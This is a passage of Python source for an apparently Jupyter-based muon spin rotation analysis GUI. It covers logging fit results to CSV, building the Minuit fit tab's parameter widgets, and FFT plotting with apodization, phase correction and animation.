# print('k = {}, self.nrun = {}'.format(k,[j for j in self.nrun]))
version = str(self.version.value)
strgrp = self.group[0].value.replace(',','_')+'-'+self.group[1].value.replace(',','_')
path_csv = os.path.join(self.paths[2].value,model.value+'.'+version+'.'+strgrp+'.csv')
TsTc, eTsTc = self._the_runs_[k][0].get_temperatures_vector(), self._the_runs_[k][0].get_devTemperatures_vector()
Bstr = self._the_runs_[k][0].get_field()
n1,n2 = spec_prec(eTsTc[0]),spec_prec(eTsTc[1]) # calculates format specifier precision
form = '{} {:.'
form += '{}'.format(n1)
form += 'f} {:.'
form += '{}'.format(n1)
form += 'f} {:.'
form += '{}'.format(n2)
form += 'f} {:.'
form += '{}'.format(n2)
form += 'f} {}' #".format(value,most_significant)'
# string = "{} {:.1f} {:.1f} {:.1f} {:.1f} {}".format(self.nrun[k], TsTc[0],eTsTc[0],TsTc[1],eTsTc[1], Bstr[:Bstr.find('G')]) #debug
# self.console(string) # debug
# self.console(form) #debug
row = form.format(self.nrun[k], TsTc[0],eTsTc[0],TsTc[1],eTsTc[1], Bstr[:Bstr.find('G')])
for name in self.minuit_parameter_names:
value, error = self.fitargs[k][name], self.fitargs[k]['error_'+name]
n1 = spec_prec(error) # calculates format specifier precision
form = ' {:.'
form += '{}'.format(n1)
form += 'f} {:.'
form += '{}'.format(n1)
form += 'f}'
row += form.format(value,error)
echi = max(chi2-lowchi2,hichi2-chi2)
n1 = spec_prec(echi) # calculates format specifier precision
form = ' {:.'
form += '{}'.format(n1)
form += 'f} {:.'
form += '{}'.format(n1)
form += 'f} {:.'
form += '{}'.format(n1)
form += 'f} {} {}'
row += form.format(chi2,chi2-lowchi2,hichi2-chi2,self.alpha.value,self.offset.value)
row += ' {}'.format(strftime("%d %b %Y %H:%M:%S", localtime()))
form =' {} {:.2f}'
for j in range(len(self.nt0)):
row += form.format(self.nt0[j],self.dt0[j])
row += '\n'
# row is fromatted with appropriate rounding, write directly
# self.console(row)
header = ['Run','T_cryo[K]','e_T_cryo[K]','T_sample[K]','e_T_sample[K]','B[G]']
for j,name in enumerate(self.minuit_parameter_names):
header.append(name)
header.append('e_'+name)
header.append('chi2_r')
header.append('e_chi2_low')
header.append('e_chi2_hi')
header.append('alpha')
header.append('offset time')
for j in range(len(self.nt0)):
header.append('nt0{}'.format(j))
header.append('dt0{}'.format(j))
header = ' '.join(header)+'\n'
try: # the file exists
lineout = [] # is equivalent to False
with open(path_csv,'r') as f_in:
notexistent = True
for nline,line in enumerate(f_in.readlines()):
if nline==0:
if header!=line: # different headers
break
lineout = [header]
elif int(line.split(" ")[0]) < self.nrun[k]:
lineout.append(line)
elif int(line.split(" ")[0]) == self.nrun[k]:
lineout.append(row) # substitute an existing fit
notexistent = False
else:
if notexistent:
lineout.append(row) # insert before last existing fit
notexistent = False
lineout.append(line)
if notexistent:
lineout.append(row) # append at the end
notexistent = False
if not lineout:
raise # if headers were different this is an exception
with open(path_csv,'w') as f_out:
for line in lineout:
f_out.write(line)
self.console('Run {}: {} *** {}\nbest fit logged in {}'.format(self.nrun[k],get_title(self._the_runs_[k][0]),strftime("%d %b %Y %H:%M:%S", localtime()),path_csv))
except: # write a new file
with open(path_csv,'w') as f:
f.write(header)
f.write(row)
self.console('Run {}: {} *** {}\nbest fit logged in NEW {}'.format(self.nrun[k],get_title(self._the_runs_[k][0]),strftime("%d %b %Y %H:%M:%S", localtime()),path_csv))
######### here starts the fit method of MuGui
# no need to observe parvalue, since their value is a perfect storage point for the latest value
# validity check before calling fit
from ipywidgets import Text, IntText, Layout, Button, HBox, \
Checkbox, VBox, Dropdown, ToggleButton, Label
_available_components_() # creates tuple self.available_components automagically from mucomponents
self._the_model_ = mumodel() # local instance, need a new one each time a fit tab is reloaded (on_load_model)
#------------------------- oneframe
fit_button = Button(description='Fit',
tooltip='Execute the Minuit fit',
layout=Layout(width='15%')) # 15%
fit_button.style.button_color = self.button_color
fit_button.on_click(on_fit_request)
loadmodel = Text(description='model',
description_tooltip='Loads the model template\nspecified on the right\n(2 letter-codes,\ne.g. daml, for da + ml, see About)\n on pressing Enter',
value='',
layout=Layout(width='12%'),continuous_update=False) # this is where one can input a new model name
# 27%
loadmodel.observe(on_load_model,'value')
loadmodel.style.description_width='37%'
model = Text(value=model_in) # This is shown in the mainwindow, but is used to store present model
# group[0] in oneframe , group[1] really ends up in in twopframe
self.group = [Text(description='forward',
description_tooltip='list here all detectors\nin the forward group\ne.g. 1, 3, 5 , 7:9\nonly one : allowed',
layout=Layout(width='16%'),
continuous_update=False), # 43%
Text(description='backward',
description_tooltip='list here all detectors\nin the backward group\ne.g. 2, 4, 6 , 10:12\nonly one : allowed',
layout=Layout(width='16%'),
continuous_update=False)]
# group and grouping: csv shorthand
set_group() # inserts shorthand from self.grouping into seld.group[k].value, k=0,1
self.group[0].observe(on_group_changed,'value')
self.group[0].style.description_width='38%'
self.group[1].observe(on_group_changed,'value')
self.group[1].style.description_width='38%'
# self.alpha.value is Text and self.alfavalue is its float
try:
alpha0 = self.alpha.value
except:
alpha0 = '1.01' # generic initial value
# self.alphavalue=float(alpha0)
self.alpha = Text(description='alpha',
description_tooltip='N_forward/N_backward\nfor the chosen grouping',
value=alpha0,
layout=Layout(width='10%'),
continuous_update=False) # self.alpha.value # 53%
self.alpha.observe(on_alpha_changed,'value')
self.alpha.style.description_width='40%'
try:
fit_range0 = self.fit_range.value
except:
if not self._the_runs_:
fit_range0 = '' # will be fixed at first data load
self.fit_range = Text(description='fit range',
description_tooltip='start,stop[,pack]\ne.g. 0,20000,10\n(start from first good bin (see offset)\nuse 20000 bins\n pack them 10 by 10',
value=fit_range0,
layout=Layout(width='22%'),
continuous_update=False) # 75%
self.fit_range.style.description_width='30%'
self.fit_range.observe(on_range,'value')
guesscheck = Checkbox(description='guess',
description_tooltip='Tick to plot\nstarting guess function',
value=False,
layout=Layout(width='8%')) # 83%
guesscheck.style.description_width='2%'
anim_delay = IntText(value=1000,
description='Delay (ms)',
description_tooltip='between successive runs\n(animation frames)',
layout=Layout(width='15%')) # 98%
#------------------------------- twoframe
loadbutton = Button(description='Load fit',
tooltip='Opens GUI to load one of the existing fit templates',
layout=Layout(width='7.3%')) # 7.3%
loadbutton.style.button_color = self.button_color
loadbutton.on_click(load_fit)
update_button = Button (description='Update',
tooltip='Update parameter starting guess\nfrom latest fit\n(must have fitted this model once).',
layout=Layout(width='7.3%')) # 15%
update_button.style.button_color = self.button_color
update_button.on_click(on_update)
try:
version0 = self.version.value
except:
version0 = '1'
self.version = Text(description='version',
description_tooltip='String to distinguish among model output files',
value=version0,
layout=Layout(width='12%'))#,indent=False)) # version.value is an int
# 27%
self.version.style.description_width='40%'
# group[1] really ends up here (width=16%) # 43%
try:
self.offset0 = self.offset.value
except:
self.offset0 = 7 # generic initial value
self.offset = IntText(description='offset',
description_tooltip='First good bin\n(number of bins skipped\nafter prompt peak)',
value=self.offset0,
layout=Layout(width='10%'),
continuous_update=False) # offset, is an integer
# 53%
self.offset.style.description_width='38%'
# initialized to 7, only input is from an IntText, integer value, or saved and reloaded from mujpy_setup.pkl
try:
self.plot_range0 = self.plot_range.value
except:
if not self._the_runs_:
self.plot_range0 = ''
self.plot_range = Text(description='plot range',
description_tooltp='start,stop[,pack][,last,pack]\n0,20000,10 see fit range\n0,2000,10,20000,100 pack 10 up to bin 2000\npCK 100 from bin 2001 to bin 20000',
value=self.plot_range0,
layout=Layout(width='22%'),
continuous_update=False) # 75%
self.plot_range.style.description_width='30%'
self.plot_range.observe(on_range,'value')
plot_button = Button (description='Plot',
tooltip='Generate a plot\n(see guess tooltip)',
layout=Layout(width='7.6%')) # 82.6%
plot_button.style.button_color = self.button_color
plot_button.on_click(on_plot_request)
anim_check = Checkbox(description='Anim',
description_tooltip='Activate animation with Play button\ntoggle on/off movie with Loop button\nregulate frame Delay.',
value=False,
layout=Layout(width='7.6%')) # 92.2%
# anim_check.observe(on_anim_check)
anim_check.style.description_width='2%'
anim_start = ToggleButton(description='off/on',
tooltip='stop/start movie of fit plots\nfor run suite (see Run:)\nwith frame Delay\nwhen Anim is ticked.',
value = False,
layout=Layout(width='7.6%')) # 99.8%
anim_start.observe(on_start_stop)
# anim_start_value = False
# anim_start.style.button_color = self.button_color
#-------------------- create the model template
# arrive here in three ways: model_in='' at start; model typed in loadmodel text box, checked by checkvalidmodel;
# load_fit
if model_in == '':
create_model('daml')
model.value = 'daml' # this sets the initial default model
else:
create_model(model_in)
# this should always be a valid model, it is harwdired, model_in = 'daml'; from now on loadmodel is used and checked
#-------------------- fill model template into input widgets, two columns
#
# 12345678901234567890123456789012345678901234567890123456789012345678901234567890
s_n,s_nam,s_val,s_flag,s_func,s_plot ='Par n','Name','Value','Fit flag','Function','Panel'
dashhead = HBox([Label(s_n,layout={'width':'8%','height':'16pt'},description_tooltip='Number to be used in Functions.'),
Label(s_nam,layout={'width':'18%','height':'16pt'}),
Label(s_val,layout={'width':'15%','height':'16pt'},description_tooltip='initial guess.'),
Label(s_flag,layout={'width':'11%','height':'16pt'},description_tooltip='~ is free\n! is fixed,= activates Function.'),
Label(s_func,layout={'width':'36%','height':'16pt'},description_tooltip='P[0] replaces by par 0 (quote only previous num).\nSimple algebra is allowed, e.g.\n0.5*P[0]+0.5*P[4].'),
Label(s_plot,layout={'width':'9%','height':'16pt'},description_tooltip='multipanel plot. \nChoose panel\nUse 1<=n<=6\nPars can share a panel.'),
])
leftframe_list, rightframe_list = [],[]
words = ['#','name','value','~!=','function']
nint = -1 # internal parameter count, each widget its unique name
ntot = np.array([len(self.model_components[k]['pars'])
for k in range(len(self.model_components))]).sum()
self.parname, self.parvalue, self.flag, self.function, self.plotflag = [] , [], [], [], [] # lists, index runs according to internal parameter count nint
self.compar = {} # dictionary: key nint corresponds to a list of two values, c (int index of component) and p (int index of parameter)
# use: self.compar[nint] is a list of two integers, the component index k and its parameter index j
self.fftcheck = []
nleft,nright = 0,0
for k in range(len(self.model_components)): # scan the model
self.fftcheck.append(Checkbox(description='FFT',
description_tooltip='uncheck for showing this component\nin the FFT of residues',
value=True,
layout=Layout(width='16%')))
self.fftcheck[k].style.description_width='2%'
header = HBox([ Text(value=self.model_components[k]['name'],
disabled=True,
layout=Layout(width='8%')), # 8 %
self.fftcheck[k]]) # component header HBox # 24 %
# composed of the name (e.g. 'da') and the FFT flag
# fft will be applied to a 'residue' where only checked components
# are subtracted
if k%2==0: # and ...
leftframe_list.append(header) # append it to the left if k even
if k==0:
leftframe_list.append(dashhead)
else:
rightframe_list.append(header) # or to the right if k odd
if k==1:
rightframe_list.append(dashhead)
# list of HBoxes, headers and pars
nleftorright = 0
for j in range(len(self.model_components[k]['pars'])): # make a new par for each parameter
# and append it to component_frame_content
nint += 1 # all parameters are internal parameters, first is pythonically zero
nleftorright += 1
self.compar.update({nint:[k,j]}) # stores the correspondence between nint and component,parameter
nintlabel_handle = Text(value=str(nint),
layout=Layout(width='7%'),
disabled=True) # 7%
name = self.model_components[k]['pars'][j]['name']
baloon = ''
if 'field' in name:
baloon = '[mT]'
elif 'rate' in name:
baloon = '[mus-1]'
elif 'phase' in name:
baloon = '[deg]'
self.parname.append(
Text(value=name,
description_tooltip=baloon,
layout=Layout(width='16%'),
disabled=True)) # 23%
# parname can be overwritten, not important to store
self.parvalue.append(
Text(value='{:.4}'.format(self.model_components[k]['pars'][j]['value']),
layout=Layout(width='15%'),
description='value'+str(nint),
continuous_update=False)) # 38%
self.parvalue[nint].style.description_width='0%'
try:
self.parvalue[nint].value = _parvalue[nint]
except:
pass
# parvalue handle must be unique and stored at position nint, it will provide the initial guess for the fit
self.flag.append(Dropdown(options=['~','!','='],
value=self.model_components[k]['pars'][j]['flag'],
layout=Layout(width='11%'),
description='flag'+str(nint))) # 49%
self.flag[nint].style.description_width='0%'
try:
self.flag[nint].value = _flag[nint]
except:
pass
# flag handle must be unique and stored at position nint, it will provide (eventually) the nonlinear relation to be evaluated
self.function.append(Text(value=self.model_components[k]['pars'][j]['function'],
layout=Layout(width='36%'),
description='func'+str(nint),
description_tooltip='multipanel plot. \nChoose panel\nUse 1<=n<=6\nPars can share a panel.',
continuous_update=False)) # 85%
self.function[nint].style.description_width='0%'
self.plotflag.append(IntText(value=0,
layout=Layout(width='9%'))) # 100%
# self.plotflag[k].value is the subplots axis
try:
self.function[nint].value = _function[nint]
except:
pass
# function handle must be unique and stored at position nint, it will provide (eventually) the nonlinear relation
fdis = False if self.model_components[k]['pars'][j]['flag']=='=' else True
self.function[nint].disabled = fdis # enabled only if flag='='
# now put this set of parameter widgets for the new parameter inside a parameter HBox
par_handle = HBox([nintlabel_handle, self.parname[nint], self.parvalue[nint], self.flag[nint], self.function[nint],self.plotflag[nint]],layout=Layout(width='100%'))
# handle to an HBox of a list of handles; notice that parvalue, flag and function are lists of handles
# now make value flag and function active
self.parvalue[nint].observe(on_parvalue_changed,'value')
self.flag[nint].observe(on_flag_changed,'value') # when flag[nint] is modified, function[nint] is z(de)activated
self.function[nint].observe(on_function_changed,'value') # when function[nint] is modified, it is validated
if k%2==0: # and ...
leftframe_list.append(par_handle) # append it to the left if k even
nleft += nleftorright
else:
rightframe_list.append(par_handle) # or to the right if k odd
nright += nleftorright
if model_in == '': # at startup, model daml, 0 da, 1 A ml, 2 B ml, 3 ph ml, 4 lam ml
self.parvalue[1].value = '0.2' # asymmetry
self.parvalue[2].value = '3.0' # mT
self.parvalue[4].value = '0.2' # mus-1
PT = Button(description='Plot vs. T',
tooltip='First perform suite vs. T fits.\nThis creates a csv file in the log folder\nSelect panel for pars you want plotted.',
layout=Layout(width='24%'))
PT.on_click(on_plot_par)
PT.style.button_color = self.button_color
PB = Button(description='Plot vs. B',
tooltip='First perform suite vs. B fits\nThis creates a csv file in the log folder\nSelect panel for pars you want plotted.',
layout=Layout(width='24%'))
PB.on_click(on_plot_par)
PB.style.button_color = self.button_color
PTB = VBox([Label('Show parameter plots',layout={'width':'34%'}),
HBox([Label(layout={'width':'24%'}),PT,PB],layout=Layout(width='100%'))],
layout={'border':'2px solid dodgerblue','align_items':'stretch'})
if nleft<=nright:
leftframe_list.append(PTB)
else:
rightframe_list.append(PTB)
width = '99.8%'
widthhalf = '100%'
leftframe_handle = VBox(layout=Layout(width=widthhalf),
children=leftframe_list)#,layout=Layout(width='100%')
rightframe_handle = VBox(layout=Layout(width=widthhalf),
children=rightframe_list)# ,layout=Layout(width='100%')
#------------------ include frames in boxes
oneframe_handle = HBox(layout=Layout(width=width),
children=[fit_button,loadmodel,self.group[0],
self.alpha,self.fit_range,guesscheck,anim_delay])
twoframe_handle = HBox(layout=Layout(width=width),
children=[loadbutton,update_button,self.version,
self.group[1],self.offset,self.plot_range,plot_button,anim_check,anim_start])
bottomframe_handle = HBox(layout=Layout(width=width,border='1px solid dodgerblue'),
children=[leftframe_handle,rightframe_handle])
# end of model scan, ad two vertical component boxes to the bottom frame
# backdoors
self._load_fit = load_fit
self._fit = fitplot
self._int2_int = int2_int
# now collect the handles of the three horizontal frames to the main fit window
self.mainwindow.children[0].children = [VBox([oneframe_handle,
twoframe_handle,
bottomframe_handle],layout=Layout(width=width))]#
# WHY DOES THE BOX EXTEND TO '100%' ?
# add the list of widget handles as the third tab, fit
self.mainwindow.children[0].layout = Layout(border = '2px solid dodgerblue',width='100%')
##########################
# FFT
##########################
def fft(self):
'''
fft tab of mugui.
on_fft_request(b) performs fft and plot (WARNING)
* two options: (partial) residues or full asymmetry
* two modes: real amplitude or power
* vectorized: range(len(self.fitargs)) is (0,1) or (0,n>1) for single or suite
'''
def on_fft_request(b):
'''
perform fft and plot
* two options: (partial) residues or full asymmetry
* two modes: real amplitude or power
* vectorized: range(len(self.fitargs)) is (0,1) or (0,n>1) for single or suite
WARNING: relies on self._the_model_._add_ or self._the_model_._fft_add_
to produce the right function for each run (never checked yet)
insert expected noise level (see bottom comment)
'''
import numpy as np
from mujpy.aux.aux import derange, autops, ps, _ps_acme_score, _ps_peak_minima_score, plotile, get_title
from copy import deepcopy
import matplotlib.pyplot as P
from matplotlib.path import Path
import matplotlib.patches as patches
import matplotlib.animation as animation
###################
# PYPLOT ANIMATIONS
###################
def animate(i):
'''
anim function
update fft data, fit fft and their color
'''
# color = next(ax_fft._get_lines.prop_cycler)['color']
self.ax_fft.set_title(str(self._the_runs_[i][0].get_runNumber_int())+': '+get_title(self._the_runs_[i][0]))
marks.set_ydata(ap[i])
marks.set_color(color[i])
line.set_ydata(apf[i])
line.set_color(color[i])
top = fft_e[i]
errs.set_facecolor(color[i])
return line, marks, errs,
def init():
'''
anim init function
blitting (see wikipedia)
to give a clean slate
'''
self.ax_fft.set_title(str(self._the_runs_[0][0].get_runNumber_int())+': '+get_title(self._the_runs_[0][0]))
marks.set_ydata(ap[0])
marks.set_color(color[0])
line.set_ydata(apf[0])
line.set_color(color[0])
top = fft_e[0]
errs.set_facecolor(color[0])
return line, marks, errs,
def fft_std():
'''
Returns fft_e, array, one fft std per bin value per run index k
using time std ey[k] and filter filter_apo.
The data slice is equivalent (not equal!) to
* y[k] = yf[k] + ey[k]*np.random.randn(ey.shape[1])
It is composed of l data plus l zero padding (n=2*l).
Here we deal only with the first l data bins (no padding).
Assuming that the frequency noise is uniform,
the f=0 value of the filtered fft(y) is
* ap[k] = (y[k]*filter_apo).sum()
and the j-th sample of the corresponding noise is
* eapj[k] = ey[k]*np.random.randn(ey.shape[1])*filter_apo).sum()
Repeat n times to average the variance,
* eapvar[k] = [(eapj[k]**2 for j in range(n)]
* fft_e = np.sqrt(eapvar.sum()/n)
'''
n = 10
fft_e = np.empty(ey.shape[0])
for k in range(ey.shape[0]):
eapvariance = [((ey[k]*np.random.randn(ey.shape[1])*filter_apo).sum())**2 for j in range(n)]
fft_e[k] = np.sqrt(sum(eapvariance)/n)
return fft_e
# ON_FFT_REQUEST STARTS HERE
#################################
# retrieve self._the_model_, pars,
# fit_start,fit_stop=rangetup[0], rangetup[1]
# with rangetup = derange(self.fit_range.value),
if not self._the_model_._alpha_:
# this is used as a check that an appropriate fit was performed
# so we can assume that fit_range.value has already been checked
self.console('No fit yet. Please first produce a fit attempt.')
return
if self._global_:
print('not yet!')
else:
####################
# setup fft
####################
dt = self.time[0,1]-self.time[0,0]
fmax = 0.5/dt # max frequancy available
rangetup = derange(self.fit_range.value,self.histoLength)
# no checks, it has already been used in fit
fit_start, fit_stop = int(rangetup[0]), int(rangetup[1]) # = self.time[fit_start]/dt, self.time[fit_stop]/dt
# print('fit_start, fit_stop = {}, {}'.format(fit_start, fit_stop))
l = fit_stop-fit_start # dimension of data
df = 1/(dt*l)
n = 2*l # not a power of 2, but surely even
filter_apo = np.exp(-(dt*np.linspace(0,l-1,l)*float(fft_filter.value))**3) # hypergaussian filter mask
# is applied as if first good bin were t=0
filter_apo = filter_apo/sum(filter_apo)/dt # approx normalization
# try hypergauss n=3, varying exponent
dfa = 1/n/dt # digital frequency resolution
#####################################################################################
# asymm, asyme and the model are a row arrays if _single_ and matrices if not _single_
#####################################################################################
##########################################
# zero padding, apodization [and residues]
##########################################
y = np.zeros((self.asymm.shape[0],n)) # for data zero padded to n
ey = np.zeros((self.asyme.shape[0],l)) # for errors, l bins, non zero padded
yf = np.zeros((self.asymm.shape[0],n)) # for fit function zero padded to n
for k in range(len(self.fitargs)):
pars = [self.fitargs[k][name] for name in self.minuit_parameter_names]
yf[k,0:l] = self._the_model_._add_(self.time[0,fit_start:fit_stop],*pars) # full fit zero padded,
if residues_or_asymmetry.value == 'Residues':
fft_include_components = []
fft_include_da = False
for j,dic in enumerate(self.model_components):
if dic['name']=='da' and self.fftcheck[j].value:
fft_include_da = True # flag for "da is a component" and "include it"
elif dic['name']!='da': # fft_include_components, besides da, True=include, False=do not
fft_include_components.append(self.fftcheck[j].value) # from the gui FFT checkboxes
self._the_model_._fft_init(fft_include_components,fft_include_da) # sets _the_model_ in fft
# t = deepcopy(self.time[fit_start:fit_stop])
# print('self.time.shape = {}, t.shape = {}, range = {}'.format(self.time.shape,t.shape,fit_stop-fit_start))
for k in range(len(self.fitargs)):
y[k,0:l] = self.asymm[k,fit_start:fit_stop] # zero padded data
ey[k] = self.asyme[k,fit_start:fit_stop] # slice of time stds
# print('yf.shape = {}, the_model.shape = {}'.format(yf[k,0:l].shape,t.shape))
############################################
# if Residues
# subtract selected fit components from data
############################################
if residues_or_asymmetry.value == 'Residues':
# fft partial subtraction mode: only selected components are subtracted
pars = [self.fitargs[k][name] for name in self.minuit_parameter_names]
y[k,0:l] -= self._the_model_._add_(self.time[0,fit_start:fit_stop],*pars)
y[k,0:l] *= filter_apo # zero padded, filtered data or residues
yf[k,0:l] *= filter_apo # zero padded, filtered full fit function
#################################################
# noise in the FFT: with scale=1 noise in n data bins, one gets sqrt(n/2) noise per fft bin, real and imag
# generalising to scale=sigma noise in n bins -> sqrt(0.5*sum_i=1^n filter_i)
#################################################
fft_e = fft_std() # array of fft standard deviations per bin for each run
fft_amplitude = np.fft.fft(y) # amplitudes (complex), matrix with rows fft of each run
fftf_amplitude = np.fft.fft(yf) # amplitudes (complex), same for fit function
#################
# frequency array
#################
nf = np.hstack((np.linspace(0,l,l+1,dtype=int), np.linspace(-l+1,-1,l-2,dtype=int)))
f = nf*dfa # all frequencies, l+1 >=0 followed by l-1 <0
rangetup = derange(fft_range.value,fmax,int_or_float='float') # translate freq range into bins
fstart, fstop = float(rangetup[0]), float(rangetup[1])
start, stop = int(round(fstart/dfa)), int(round(fstop/dfa))
f = deepcopy(f[start:stop]) # selected slice
########################
# build or recall Figure
########################
if self.fig_fft: # has been set to a handle once
self.fig_fft.clf()
self.fig_fft,self.ax_fft = P.subplots(num=self.fig_fft.number)
else: # handle does not exist, make one
self.fig_fft,self.ax_fft = P.subplots(figsize=(6,4))
self.fig_fft.canvas.set_window_title('FFT')
self.ax_fft.set_xlabel('Frequency [MHz]')
self.ax_fft.set_title(get_title(self._the_runs_[0][0]))
xm, xM = f.min(),f.max()
self.ax_fft.set_xlim(xm,xM)
if real_or_power.value=='Real part':
########################
# REAL PART
# APPLY PHASE CORRECTION
# try acme
########################
fftf_amplitude[0][start:stop], p0, p1, out = autops(fftf_amplitude[0][start:stop],'acme') # fix phase on theory
if self.prntps.value:
self.console(out)
fft_amplitude[0][start:stop] = ps(fft_amplitude[0][start:stop], p0=p0 , p1=p1).real # apply it to data
for k in range(1,fft_amplitude.shape[0]):
fft_amplitude[k][start:stop] = ps(fft_amplitude[k][start:stop], p0=p0 , p1=p1)
fftf_amplitude[k][start:stop] = ps(fftf_amplitude[k][start:stop], p0=p0 , p1=p1)
ap = deepcopy(fft_amplitude[:,start:stop].real)
apf = deepcopy(fftf_amplitude[:,start:stop].real)
label = 'Real part'
else:
##################
# POWER
##################
ap = fft_amplitude.real[:,start:stop]**2+fft_amplitude.imag[:,start:stop]**2
apf = fftf_amplitude.real[:,start:stop]**2+fftf_amplitude.imag[:,start:stop]**2
label = 'Power'
########
# tile
########
if not anim_check.value or self._single_: # TILES: creates matrices for offset multiple plots
foffset = 0 # frequency offset
yoffset = 0.1*apf.max() # add offset to each row, a fraction of the function maximum
f, ap, apf = plotile(f,xdim=ap.shape[0],offset=foffset),\
plotile(ap,offset=yoffset),\
plotile(apf,offset=yoffset)
# f, ap, apf are (nrun,nbins) arrays
#############
# animation
#############
if anim_check.value and not self._single_: # a single cannot be animated
##############
# initial plot
##############
color = []
for k in range(ap.shape[0]):
color.append(next(self.ax_fft._get_lines.prop_cycler)['color'])
yM = 1.02*max(ap.max(),apf.max())
ym = min(0,1.02*ap.min(),1.02*apf.min())
line, = self.ax_fft.plot(f,apf[0],'-',lw=1,color=color[0],alpha=0.8)
marks, = self.ax_fft.plot(f,ap[0],'o',ms=2,color=color[0],alpha=0.8)
self.ax_fft.set_ylim(ym,yM)
left, bottom, right, top = f[0],0.,f[-1],fft_e[0]
verts = [
(left, bottom), # left, bottom
(left, top), # left, top
(right, top), # right, top
(right, bottom), # right, bottom
(0., 0.), # ignored
]
codes = [Path.MOVETO,
Path.LINETO,
Path.LINETO,
Path.LINETO,
Path.CLOSEPOLY,
]
path = Path(verts, codes)
errs = patches.PathPatch(path, facecolor=color[0], lw=0, alpha=0.3)
self.ax_fft.add_patch(errs)
#######
# anim
#######
self.anim_fft = animation.FuncAnimation(self.fig_fft, animate,
np.arange(0,len(self.fitargs)),
init_func=init,
interval=anim_delay.value,
blit=False)
###############################
# single and tiles with offset
###############################
else:
# print('f.shape = {}, ap.shape = {}'.format(f.shape,ap.shape))
color = []
for k in range(ap.shape[0]):
color.append(next(self.ax_fft._get_lines.prop_cycler)['color'])
self.ax_fft.plot(f[k],ap[k],'o',ms=2,alpha=0.5,color=color[k]) # f, ap, apf are plotiled!
self.ax_fft.plot(f[k],apf[k],'-',lw=1,alpha=0.5,color=color[k])
self.ax_fft.fill_between([f[0,0],f[0,-1]],[k*yoffset,k*yoffset],[k*yoffset+fft_e[k],k*yoffset+fft_e[k]],facecolor=color[k],alpha=0.2)
###################
# errors, alpha_version for single
###################
# if self._single_:
self.ax_fft.relim(), self.ax_fft.autoscale_view()
ym,yM = self.ax_fft.get_ylim()
xm,xM = self.ax_fft.get_xlim()
ytext = yM-(ap.shape[0]+1)*yoffset
xtext = xM*0.90
for k in range(ap.shape[0]):
ytext = ytext+yoffset
self.ax_fft.text(xtext,ytext,str(self._the_runs_[k][0].get_runNumber_int()),color=color[k])
if residues_or_asymmetry.value == 'Residues':
self.ax_fft.set_ylabel('FFT '+label+' (Residues/Fit)')
self._the_model_._include_all_() # usual _the_model_ mode: all components included
else:
self.ax_fft.set_ylabel('FFT '+label+' (Asymmetry/Fit)')
self.fig_fft.canvas.manager.window.tkraise()
P.draw()
def on_filter_changed(change):
'''
observe response of fit tab widgets:
validate float
'''
string = change['owner'].value # description is three chars ('val','fun','flg') followed by an integer nint
# iterable in range(ntot), total number of internal parameters
try:
float(string)
except:
change['owner'].value = '{:.4f}'.format(filter0)
def on_range(change):
'''
observe response of FFT range widgets:
check for validity of function syntax
'''
from mujpy.aux.aux import derange
fmax = 0.5/(self.time[0,1]-self.time[0,0])
returnedtup = derange(fft_range.value,fmax,int_or_float='float') # errors return (-1,-1),(-1,0),(0,-1), good values are all positive
if sum(returnedtup)<0:
fft_range.background_color = "mistyrose"
fft_range.value = fft_range0
else:
fft_range.background_color = "white"
def on_start_stop(change):
if anim_check.value:
if change['new']:
self.anim_fft.event_source.start()
else:
self.anim_fft.event_source.stop()
# begins fft gui
import numpy as np
from ipywidgets import HBox, VBox, Layout, Button, Label, Text, IntText, Dropdown, Checkbox, ToggleButton
# must inherit/retrieve self._the_model_, pars, fit_range = range(fit_start,fit_stop)
# layout a gui to further retrieve
# fft_range (MHz), lb (us-1), real_amplitude (True/False) if False then power, autophase (True/False)
# Layout gui
fft_button = Button(description='Do FFT',layout=Layout(width='12%')) # 12%
fft_button.style.button_color = self.button_color
fft_button.on_click(on_fft_request)
filter0 = 0.3
fft_filter = Text(description='Filter (mus-1)',
value='{:.4f}'.format(filter0),
layout=Layout(width='20%'),
continuous_update=False) # self.filter.value # 32%
fft_filter.observe(on_filter_changed,'value')
fft_range0 = '0,50'
fft_range = Text(description='fit range\nstart,stop\n (MHz)',
value=fft_range0,
layout=Layout(width='28%'),
continuous_update=False) # 60%
fft_range.style.description_width='60%'
fft_range.observe(on_range,'value')
real_or_power = Dropdown(options=['Real part','Power'],
value='Real part',
layout=Layout(width='12%')) # 72%
residues_or_asymmetry = Dropdown(options=['Residues','Asymmetry'],
value='Residues',
layout=Layout(width='13%')) # 85%
autophase = Checkbox(description='Autophase',
value=True,
layout=Layout(width='15%')) #100%
autophase.style.description_width='10%'
anim_check = Checkbox(description='Animate',
value=False,
layout=Layout(width='12%')) # 12%
anim_check.style.description_width = '1%'
anim_delay = IntText(description='Delay (ms)',
value=1000,
description_tooltip='between frames',
layout=Layout(width='20%')) # 32%
anim_stop_start = ToggleButton(description='start/stop',
description_tooltip='toggle animation loop',
value=True,
layout=Layout(width='12%')) # 44%
anim_stop_start.observe(on_start_stop,'value')
empty = Label(layout=Layout(width='30%')) # 74%
prntpslabel = Label('print autophase',
description_tooltip='verbose fit',
layout=Layout(width='10%')) # 92%
self.prntps = Checkbox(description=' ',
value=False,
layout=Layout(width='12%')) # 100%
fft_frame_handle = VBox(description='FFT_bar',children=[HBox(description='first_row',children=[fft_button,
fft_filter,
fft_range,
real_or_power,
residues_or_asymmetry,
autophase]),
HBox(description='second_row',children=[anim_check,
anim_delay,
anim_stop_start,
empty,
self.prntps,
prntpslabel])])
# now collect the handles of the three horizontal frames to the main fit window
self.mainwindow.children[1].children = [fft_frame_handle]
# add the list of widget handles as the third tab, fit
self.mainwindow.children[1].layout = Layout(border = '2px solid dodgerblue',width='100%')
##########################
# GUI
##########################
def gui(self):
'''
Main gui layout. Based on ipywidgets.
Executed only once,
it designs
* an external frame
* the logo and title header
* the tab structure. Tabs mostly correspond to public mugui methods. Their nested methods cannot be documented by spynx so they are replicated under each public method
At the end (Araba.Phoenix) the gui method redefines self.gui
as a Vbox named 'whole', containing the entire gui structure
Integrated with suite tab of mugui in v. 1.05
used to select:
run (single/suite)
load next previous, add next previous
and to print:
run number, title,
total counts, group counts, ns/bin
comment, start stop date, next run, last add
'''
##########################
# SUITE
##########################
def run_headers(k):
'''
Stores and displays
title, comments and histoLength only for master run
Saves T, dT and returns 0
'''
import numpy as np
from mujpy.aux.aux import get_title, value_error
if k==0:
try:
dummy = self.nt0.sum() # fails if self.nt0 does not exist yet
except: # if self.nt0 does not exist, guess from the first in self._the_runs_
self.nt0 = np.zeros(self._the_runs_[0][0].get_numberHisto_int(),dtype=int)
